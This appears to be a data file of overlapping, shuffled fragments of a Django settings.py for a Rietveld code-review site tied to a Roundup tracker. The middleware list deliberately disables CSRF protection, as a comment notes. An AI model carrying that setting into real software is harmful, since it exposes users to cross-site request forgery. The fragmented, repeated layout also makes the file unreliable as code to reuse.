"= ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF",
"for django_gae2django project. # NOTE: Keep the settings.py in examples directories in sync",
"If running in a Windows environment this must be set to the same",
"this must be set to the same as your # system time zone.",
"Make sure to use a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX",
"in examples directories in sync with this one! import os, ConfigParser, re, subprocess",
"MEDIA_ROOT. Make sure to use a # trailing slash if there is a",
"found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you",
"os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = (",
"unique, and don't share it with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List",
"Windows environment this must be set to the same as your # system",
"'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware',",
"\"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't share it",
"DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', #",
"zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for this installation. All choices can",
"# Language code for this installation. All choices can be found here: #",
"Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for admin media --",
"subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del",
"= _c.get('django', 'secret_key') # List of callables that know how to import templates",
"= p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE",
"media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles the media",
"MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE =",
"share it with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of callables that",
"'/media/' # Make this unique, and don't share it with anybody. SECRET_KEY =",
"3 MAX_COLUMN_WIDTH = 2000 # This won't work with gae2django. RIETVELD_INCOMING_MAIL_ADDRESS = None",
"media served from MEDIA_ROOT. Make sure to use a # trailing slash if",
"running in a Windows environment this must be set to the same as",
"a # trailing slash if there is a path component (optional in other",
"that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source',",
"= os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH",
"= _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local",
"TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES =",
"that CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS",
"= 'Europe/Amsterdam' # Language code for this installation. All choices can be found",
"examples directories in sync with this one! import os, ConfigParser, re, subprocess DEBUG",
"_c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER =",
"cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for admin",
"= ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in",
"( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection",
"protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = (",
"sure to use a # trailing slash if there is a path component",
"for this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not",
"# 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser',",
"a path component (optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL =",
"pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch rendering DEFAULT_CONTEXT =",
"* 1024 # 500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE,",
"# trailing slash if there is a path component (optional in other cases).",
"set to the same as your # system time zone. TIME_ZONE = 'Europe/Amsterdam'",
"TIME_ZONE = 'Europe/Amsterdam' # Language code for this installation. All choices can be",
"'/review/static/' # URL prefix for admin media -- CSS, JavaScript and images. Make",
"_c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone for this installation.",
"\"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for admin media -- CSS,",
"RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err =",
"for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE =",
"( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware',",
"out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default values for patch",
"the media served from MEDIA_ROOT. Make sure to use a # trailing slash",
"_c.get('django', 'secret_key') # List of callables that know how to import templates from",
"mind, that CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', )",
"DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone for",
"and images. Make sure to use a # trailing slash. # Examples: \"http://foo.com/media/\",",
"settings.py in examples directories in sync with this one! import os, ConfigParser, re,",
") MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE",
"LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to False,",
"= ( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls'",
"Make sure to use a # trailing slash if there is a path",
"DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD =",
"p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE =",
"some optimizations so as not # to load the internationalization machinery. USE_I18N =",
"\"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for admin media -- CSS, JavaScript",
") TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF",
"# URL that handles the media served from MEDIA_ROOT. Make sure to use",
"# trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this",
"Django settings for django_gae2django project. # NOTE: Keep the settings.py in examples directories",
"p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION = out.strip()",
"is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth',",
"Make this unique, and don't share it with anybody. SECRET_KEY = _c.get('django', 'secret_key')",
"MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This won't work with gae2django. RIETVELD_INCOMING_MAIL_ADDRESS",
"'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host')",
"p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py') # Default",
"to use a # trailing slash if there is a path component (optional",
"# Local time zone for this installation. Choices can be found here: #",
"= 'en-us' SITE_ID = 1 # If you set this to False, Django",
"operating systems. # If running in a Windows environment this must be set",
"as your # system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for",
"'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL",
"to the same as your # system time zone. TIME_ZONE = 'Europe/Amsterdam' #",
"this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us'",
"= ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms',",
"JavaScript and images. Make sure to use a # trailing slash. # Examples:",
"DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 #",
"Keep in mind, that CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware',",
"'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/'",
"10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This won't",
"callables that know how to import templates from various sources. TEMPLATE_LOADERS = (",
"handles the media served from MEDIA_ROOT. Make sure to use a # trailing",
"trailing slash if there is a path component (optional in other cases). #",
") AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE",
"sync with this one! import os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG",
"SITE_ID = 1 # If you set this to False, Django will make",
"slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and",
"AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE =",
"Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may",
"'/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K",
"various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',)",
"RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION = '<unknown>' try: p =",
"rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000",
"set this to False, Django will make some optimizations so as not #",
"'secret_key') # List of callables that know how to import templates from various",
"http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If you set this to",
"patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH =",
"other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\" MEDIA_URL = '/review/static/' # URL prefix for",
"be available on all operating systems. # If running in a Windows environment",
"TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites',",
"# Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles the media served",
"_c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time",
"import os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS =",
"( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django',",
"anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of callables that know how to",
"'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection is DISABLED in this example!",
"'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name')) DATABASE_ENGINE = 'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER",
"it with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of callables that know",
"DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c =",
"a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make",
"'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware',",
"_c.get('rdbms', 'port') # Local time zone for this installation. Choices can be found",
"prefix for admin media -- CSS, JavaScript and images. Make sure to use",
"same as your # system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code",
"to False, Django will make some optimizations so as not # to load",
"in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required",
"system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for this installation. All",
"'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind, that CSRF protection is",
"'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT = _c.get('rdbms', 'port') # Local time zone",
"project. # NOTE: Keep the settings.py in examples directories in sync with this",
"DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This won't work",
"( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account'",
"make some optimizations so as not # to load the internationalization machinery. USE_I18N",
"% appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION = '<unknown>' try:",
"http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating systems.",
"# If running in a Windows environment this must be set to the",
"INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE",
"this installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all",
"= False TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS",
"in a Windows environment this must be set to the same as your",
"to use a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/'",
"'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',",
"If you set this to False, Django will make some optimizations so as",
"# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on all operating",
"found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available on",
"use a # trailing slash if there is a path component (optional in",
"from MEDIA_ROOT. Make sure to use a # trailing slash if there is",
"'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin panel",
"'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 *",
"ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = ( #",
"Language code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html",
"'en-us' SITE_ID = 1 # If you set this to False, Django will",
"= ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source', ) AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = (",
"you set this to False, Django will make some optimizations so as not",
"there is a path component (optional in other cases). # Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"",
"500 * 1024 # 500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)],",
"1 # If you set this to False, Django will make some optimizations",
"slash if there is a path component (optional in other cases). # Examples:",
"500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err",
"CSRF protection is DISABLED in this example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS =",
"not # to load the internationalization machinery. USE_I18N = True # Absolute path",
"your # system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language code for this",
"internationalization machinery. USE_I18N = True # Absolute path to the directory that holds",
"be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices may be available",
"and don't share it with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of",
"USE_I18N = True # Absolute path to the directory that holds media. #",
"= 500 * 1024 # 500K RIETVELD_REVISION = '<unknown>' try: p = subprocess.Popen(['hg','identify','-i',",
"know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source',",
"code for this installation. All choices can be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE",
"directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that",
"environment this must be set to the same as your # system time",
"'<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]', '', _c.get('tracker','name'))",
"# URL prefix for admin media -- CSS, JavaScript and images. Make sure",
") INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', )",
"for admin media -- CSS, JavaScript and images. Make sure to use a",
"'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS = ('<EMAIL>'",
"SECRET_KEY = _c.get('django', 'secret_key') # List of callables that know how to import",
"don't share it with anybody. SECRET_KEY = _c.get('django', 'secret_key') # List of callables",
"# although not all choices may be available on all operating systems. #",
"to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', # 'django.template.loaders.eggs.load_template_source',",
"to the directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' #",
"machinery. USE_I18N = True # Absolute path to the directory that holds media.",
"= '/review/static/' # URL prefix for admin media -- CSS, JavaScript and images.",
"False TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS =",
"'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview', ) AUTH_PROFILE_MODULE = 'codereview.Account' LOGIN_REDIRECT_URL = '/' #RIETVELD_INCOMING_MAIL_ADDRESS =",
"TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS",
"DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT",
"ADMIN_MEDIA_PREFIX = '/media/' # Make this unique, and don't share it with anybody.",
"DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), )",
"NOTE: Keep the settings.py in examples directories in sync with this one! import",
"# Django settings for django_gae2django project. # NOTE: Keep the settings.py in examples",
"'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'gae2django', 'rietveld_helper', 'codereview',",
"required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__),",
"installation. Choices can be found here: # http://en.wikipedia.org/wiki/List_of_tz_zones_by_name # although not all choices",
"MEDIA_URL = '/review/static/' # URL prefix for admin media -- CSS, JavaScript and",
"sure to use a # trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX =",
"('<EMAIL>' % appid) RIETVELD_INCOMING_MAIL_MAX_SIZE = 500 * 1024 # 500K RIETVELD_REVISION = '<unknown>'",
"out, err = p.communicate() RIETVELD_REVISION = out.strip() p.wait() del p, out, err except:",
"if there is a path component (optional in other cases). # Examples: \"http://media.lawrence.com\",",
"may be available on all operating systems. # If running in a Windows",
"for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH",
"by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'),",
"DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST",
"= _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password') DATABASE_HOST = _c.get('rdbms', 'host') DATABASE_PORT =",
"# ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c = ConfigParser.ConfigParser({'password':'', 'port':''}) _c.read(os.path.dirname(__file__)+\"/../config.ini\") TRACKER_COOKIE_NAME='roundup_session_'+re.sub('[^a-zA-Z]',",
"'<unknown>' try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION",
"# to load the internationalization machinery. USE_I18N = True # Absolute path to",
"on all operating systems. # If running in a Windows environment this must",
"= DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'), ) MANAGERS = ADMINS _c",
"try: p = subprocess.Popen(['hg','identify','-i', os.path.dirname(__file__)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() RIETVELD_REVISION =",
"('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', # Keep in mind,",
"'postgresql_psycopg2' DATABASE_NAME = _c.get('rdbms', 'name') DATABASE_USER = _c.get('rdbms', 'user') DATABASE_PASSWORD = _c.get('rdbms', 'password')",
"( 'django.core.context_processors.auth', # required by admin panel 'django.core.context_processors.request', ) ROOT_URLCONF = 'roundup_helper.urls' TEMPLATE_DIRS",
"a Windows environment this must be set to the same as your #",
"admin media -- CSS, JavaScript and images. Make sure to use a #",
"how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.load_template_source', 'django.template.loaders.app_directories.load_template_source', #",
"Absolute path to the directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT =",
"80 MIN_COLUMN_WIDTH = 3 MAX_COLUMN_WIDTH = 2000 # This won't work with gae2django.",
"directories in sync with this one! import os, ConfigParser, re, subprocess DEBUG =",
"= '/media/' # Make this unique, and don't share it with anybody. SECRET_KEY",
"= out.strip() p.wait() del p, out, err except: pass UPLOAD_PY_SOURCE = os.path.join(os.path.dirname(__file__), 'upload.py')",
"example! 'rietveld_helper.middleware.DisableCSRFMiddleware', 'rietveld_helper.middleware.AddUserToRequestMiddleware', 'django.middleware.doc.XViewMiddleware', ) TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.auth', # required by admin",
"with this one! import os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG =",
") AUTHENTICATION_BACKENDS = ('roundup_helper.middleware.UserBackend',) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'roundup_helper.middleware.LookupRoundupUser', 'gae2django.middleware.FixRequestUserMiddleware', #",
"this to False, Django will make some optimizations so as not # to",
"holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = '' # URL that handles the",
"be found here: # http://www.i18nguy.com/unicode/language-identifiers.html LANGUAGE_CODE = 'en-us' SITE_ID = 1 # If",
"path to the directory that holds media. # Example: \"/home/media/media.lawrence.com/\" MEDIA_ROOT = ''",
"subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('<NAME>', '<EMAIL>'),",
"load the internationalization machinery. USE_I18N = True # Absolute path to the directory",
"the same as your # system time zone. TIME_ZONE = 'Europe/Amsterdam' # Language",
"'upload.py') # Default values for patch rendering DEFAULT_CONTEXT = 10 DEFAULT_COLUMN_WIDTH = 80",
"one! import os, ConfigParser, re, subprocess DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS",
"False, Django will make some optimizations so as not # to load the",
"trailing slash. # Examples: \"http://foo.com/media/\", \"/media/\". ADMIN_MEDIA_PREFIX = '/media/' # Make this unique,",
"= 'roundup_helper.urls' TEMPLATE_DIRS = ( os.path.join(os.path.dirname(__file__), 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes',",
